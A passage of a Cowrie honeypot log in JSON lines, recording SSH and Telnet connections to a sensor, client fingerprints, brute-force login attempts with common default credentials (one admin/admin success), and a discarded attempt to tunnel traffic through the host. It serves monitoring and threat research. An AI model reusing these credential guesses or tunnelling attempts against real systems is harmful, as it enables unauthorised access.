2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:49.285574Z","src_ip":"74.87.117.146","session":"7b83d8a89746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123321","message":"login attempt [es/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:49.416435Z","src_ip":"74.87.117.146","session":"7b83d8a89746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:50.444892Z","src_ip":"74.87.117.146","session":"7b83d8a89746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":43830,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdd94cd310d9","protocol":"telnet","message":"New connection: 212.55.149.117:43830 (10.17.0.5:23) [session: bdd94cd310d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:53.189038Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25048,"dst_ip":"10.17.0.5","dst_port":22,"session":"d77564ca73e0","protocol":"ssh","message":"New connection: 87.251.64.176:25048 (10.17.0.5:22) [session: d77564ca73e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:09:31.580486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:09:31.585956Z","src_ip":"87.251.64.176","session":"d77564ca73e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:09:31.683386Z","src_ip":"87.251.64.176","session":"d77564ca73e0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:09:31.974647Z","src_ip":"87.251.64.176","session":"d77564ca73e0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:09:32.072920Z","session":"d77564ca73e0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:09:32.170962Z","src_ip":"87.251.64.176","session":"d77564ca73e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:09:32.406014Z","src_ip":"87.251.64.176","session":"d77564ca73e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":53164,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d9d8c98c432","protocol":"ssh","message":"New connection: 74.87.117.146:53164 (10.17.0.5:22) [session: 3d9d8c98c432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:09:45.199630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:09:45.207624Z","src_ip":"74.87.117.146","session":"3d9d8c98c432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:09:45.232026Z","src_ip":"74.87.117.146","session":"3d9d8c98c432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qa2ws","message":"login attempt [user/1qa2ws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:09:45.359804Z","src_ip":"74.87.117.146","session":"3d9d8c98c432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:09:46.387589Z","src_ip":"74.87.117.146","session":"3d9d8c98c432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00227499008179,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:10:15.814322Z","src_ip":"212.55.149.117","session":"2d8c1b80f6a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":12644,"dst_ip":"10.17.0.5","dst_port":23,"session":"a79898ba3e2b","protocol":"telnet","message":"New connection: 212.55.149.117:12644 (10.17.0.5:23) [session: a79898ba3e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:10:17.420277Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":60460,"dst_ip":"10.17.0.5","dst_port":22,"session":"e29d0fb5f5ea","protocol":"ssh","message":"New connection: 74.87.117.146:60460 (10.17.0.5:22) [session: e29d0fb5f5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:10:41.973556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:10:41.979122Z","src_ip":"74.87.117.146","session":"e29d0fb5f5ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:10:42.004480Z","src_ip":"74.87.117.146","session":"e29d0fb5f5ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"li","message":"login attempt [test/li] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:10:42.135182Z","src_ip":"74.87.117.146","session":"e29d0fb5f5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:10:43.163680Z","src_ip":"74.87.117.146","session":"e29d0fb5f5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00532364845276,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:10:53.194218Z","src_ip":"212.55.149.117","session":"bdd94cd310d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":55153,"dst_ip":"159.203.135.109","dst_port":22,"session":"83a66045eb61","protocol":"ssh","message":"New connection: 193.24.211.100:55153 (159.203.135.109:22) [session: 83a66045eb61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:07.004988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:07.009610Z","src_ip":"193.24.211.100","session":"83a66045eb61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:07.118148Z","src_ip":"193.24.211.100","session":"83a66045eb61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kawasaki","message":"login attempt [root/kawasaki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:07.540052Z","src_ip":"193.24.211.100","session":"83a66045eb61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:08.651727Z","src_ip":"193.24.211.100","session":"83a66045eb61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.135.193.206","src_port":54492,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e58918ccf57","protocol":"ssh","message":"New connection: 45.135.193.206:54492 (10.17.0.5:22) [session: 9e58918ccf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:30.354423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:30.361441Z","src_ip":"45.135.193.206","session":"9e58918ccf57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:30.451453Z","src_ip":"45.135.193.206","session":"9e58918ccf57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:06:3a:d2:87:eb:96:64:93:df:5d:cc:a3:e2:7e:0b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINoLIj48HShNNkBLywDtTEEt+RWCYyVUzMdd5YO46DnX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 95:06:3a:d2:87:eb:96:64:93:df:5d:cc:a3:e2:7e:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:30.723997Z","src_ip":"45.135.193.206","session":"9e58918ccf57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:06:3a:d2:87:eb:96:64:93:df:5d:cc:a3:e2:7e:0b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINoLIj48HShNNkBLywDtTEEt+RWCYyVUzMdd5YO46DnX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:30.728168Z","src_ip":"45.135.193.206","session":"9e58918ccf57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:30.822008Z","src_ip":"45.135.193.206","session":"9e58918ccf57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53690,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d381f92c38f","protocol":"ssh","message":"New connection: 103.15.226.202:53690 (10.17.0.5:22) [session: 2d381f92c38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:55.946907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:55.952642Z","src_ip":"103.15.226.202","session":"2d381f92c38f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:56.191832Z","src_ip":"103.15.226.202","session":"2d381f92c38f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"r00t","password":"admin1234","message":"login attempt [r00t/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:56.907447Z","src_ip":"103.15.226.202","session":"2d381f92c38f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:11:58.149804Z","src_ip":"103.15.226.202","session":"2d381f92c38f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01839995384216,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:12:17.438491Z","src_ip":"212.55.149.117","session":"a79898ba3e2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40264,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ab9a921b424","protocol":"ssh","message":"New connection: 87.251.64.176:40264 (10.17.0.5:22) [session: 9ab9a921b424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:12:55.324789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:12:55.329354Z","src_ip":"87.251.64.176","session":"9ab9a921b424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"]